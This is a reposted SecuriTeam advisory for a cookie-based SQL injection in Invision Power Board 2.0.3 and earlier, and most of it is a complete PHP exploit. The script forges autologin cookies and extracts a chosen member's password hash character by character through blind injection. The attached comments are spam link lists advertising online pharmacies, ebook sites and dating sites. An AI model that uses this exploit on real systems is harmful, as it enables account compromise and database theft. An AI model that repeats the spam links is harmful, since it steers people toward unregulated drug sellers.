The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Invision Power Board SQL Injection (Cookie, Exploit 2)
------------------------------------------------------------------------
SUMMARY
<http://www.invisionboard.com/> Invision Power Board is "a PHP and mySQL
based forum system".
Invision Power Board is vulnerable to an SQL Injection vulnerability in
the way it handles cookies, exploiting this vulnerability allows malicious
attacker to endanger database's integrity, the following exploit code can
be used to test your system for the mentioned vulnerability.
DETAILS
Vulnerable Systems:
* Invision Power Board versions 2.0.0 to 2.0.3
* Invision Power Board versions 1.3.1 Final and prior
<?php
/*
<= 2.0.3
<= 1.3.1 Final
/str0ke
*/
$server = "SERVER";
$port = 80;
$file = "PATH";
$target = 81;
/* User id and password used to fake-logon are not important. '10' is a
random number. */
$id = 10;
$pass = "";
$hex = "0123456789abcdef";
for($i = 1; $i <= 32; $i++ ) {
$idx = 0;
$found = false;
while( !($found) ) {
$letter = substr($hex, $idx, 1);
/* %2527 translates to %27, which gets past magic quotes.This is
translated to ' by urldecode. */
$cookie ="member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
$cookie .="%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527"
$letter;
/* Query is in effect: SELECT * FROM ibf_members
WHERE id=$id AND password='$pass' ORid=$target
HAVING id=$target AND MID(`password`,$i,1)='$letter' */
$header = getHeader($server, $port, $file .
"index.php?act=Login&CODE=autologin", $cookie);
if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/', $header) )
{
echo $i . ": " . $letter . "\n";
$found = true;
$hash .= $letter;
} else {
$idx++;
}
}
}
echo "\n\nFinal Hash: $hash\n";
function getHeader($server, $port, $file, $cookie) {
$ip = gethostbyname($server);
$fp = fsockopen($ip, $port);
if (!$fp) {
return "Unknown";
} else {
$com = "HEAD $file HTTP/1.1\r\n";
$com .= "Host: $server:$port\r\n";
$com .= "Cookie: $cookie\r\n";
$com .= "Connection: close\r\n";
$com .= "\r\n";
fputs($fp, $com);
do {
$header.= fread($fp, 512);
} while( !preg_match('/\r\n\r\n$/',$header) );
}
return $header;
}
?>
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.milw0rm.com/id.php?id=1036>
http://www.milw0rm.com/id.php?id=1036
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
7 comments:
Hi!
Sorry if this is off topic but I wonder if any women in here have any experience with [url=http://lunairebras.info]warners nursing bra
[/url] ? I'm also looking on [url=http://lunairebras.info]Lunaire Bras[/url], any thoughts on those?
Thanks!
vita nuova musa ebook free http://audiobookscollection.co.uk/it/The-Civil-War-A-Narrative-Volume-III/p10537/ humanitarian intervention ebook [url=http://audiobookscollection.co.uk/it/Photoshop-CS4-Digital-Classroom/p197316/]blog free trading ebook[/url] baltimor ebook festival
[url=http://onlinemedistore.com/products/symmetrel.htm][img]http://onlinemedistore.com/9.jpg[/img][/url]
doctorate pharmacy training http://onlinemedistore.com/products/omnicef.htm top 10 pharmacy schools [url=http://onlinemedistore.com/products/rhinocort.htm]description for pharmacy technician[/url]
walmart pharmacy discount med list http://onlinemedistore.com/products/procalisx.htm vet pharmacy info [url=http://onlinemedistore.com/categories/party-pills.htm]party pills[/url]
guardian pharmacy perscription http://onlinemedistore.com/products/amaryl.htm newport pharmacy in jersey city [url=http://onlinemedistore.com/products/female-viagra.htm]evaluation american botanical pharmacy[/url]
colorado pharmacy license http://onlinemedistore.com/products/silagra.htm pharmacy entrance essay [url=http://onlinemedistore.com/products/pilocarpine.htm]pilocarpine[/url]
[url=http://certifiedpharmacy.co.uk/catalogue/v.htm][img]http://onlinemedistore.com/9.jpg[/img][/url]
pharmacy oroville wa http://certifiedpharmacy.co.uk/products/hydrochlorothiazide.htm harris pharmacy [url=http://certifiedpharmacy.co.uk/products/capoten.htm]lloyds pharmacy uk[/url]
winn dixie pharmacy http://certifiedpharmacy.co.uk/catalogue/v.htm az board of pharmacy [url=http://certifiedpharmacy.co.uk/products/glucophage.htm]glucophage[/url]
cvs pharmacy chandler az http://certifiedpharmacy.co.uk/products/cordarone.htm finding a compounding pharmacy [url=http://certifiedpharmacy.co.uk/products/tadacip.htm]dandurands pharmacy wichita kansas[/url]
rie aide pharmacy http://certifiedpharmacy.co.uk/catalogue/n.htm nc board of pharmacy [url=http://certifiedpharmacy.co.uk/products/brand-amoxil.htm]brand amoxil[/url]
[url=http://englandpharmacy.co.uk/products/pamelor.htm][img]http://onlinemedistore.com/2.jpg[/img][/url]
online pharmacy painkillers http://englandpharmacy.co.uk/products/prilosec.htm mtm and pharmacy [url=http://englandpharmacy.co.uk/products/ed-discount-pack-2.htm]online pharmacy uses chat room[/url]
philadelphia lawyer pharmacy negliance http://englandpharmacy.co.uk/products/indocin.htm walgreens pharmacy colorado springs dublin [url=http://englandpharmacy.co.uk/products/buspar.htm]buspar[/url]
offshore caribbean pharmacy http://englandpharmacy.co.uk/products/neurontin.htm pharmacy and altace [url=http://englandpharmacy.co.uk/products/claritin.htm]skovara pharmacy[/url]
study guide for pharmacy techs http://englandpharmacy.co.uk/categories/anti-acidity.htm mexican pharmacy overnight shipping [url=http://englandpharmacy.co.uk/products/periactin.htm]periactin[/url]
[url=http://englandpharmacy.co.uk/products/reminyl.htm][img]http://onlinemedistore.com/10.jpg[/img][/url]
eforeign pharmacy consumer reports http://englandpharmacy.co.uk/products/sumycin.htm cleveland clinic pharmacy [url=http://englandpharmacy.co.uk/products/digoxin.htm]pharmacy degree online program[/url]
cvs pharmacy southern md http://englandpharmacy.co.uk/products/metformin.htm pharmacy jobs florida [url=http://englandpharmacy.co.uk/products/zetia.htm]zetia[/url]
pharmacy university of monroe http://englandpharmacy.co.uk/products/brahmi.htm hospital pharmacy pily and procedure manual [url=http://englandpharmacy.co.uk/catalogue/v.htm]benjamin meyers pharmacy[/url]
pharmacy technician certification exam http://englandpharmacy.co.uk/categories/stop-smoking.htm pharmacy online australia [url=http://englandpharmacy.co.uk/products/viramune.htm]viramune[/url]
chezk dating women http://loveepicentre.com/testimonials/ all black dating
dating islamabad [url=http://loveepicentre.com/articles/]european women dating[/url] who is justin bieber dating
online dating service logiciel [url=http://loveepicentre.com/articles/]american singles dating[/url] free overseas dating [url=http://loveepicentre.com/user/tideboy/]tideboy[/url] dating an arab man
Post a Comment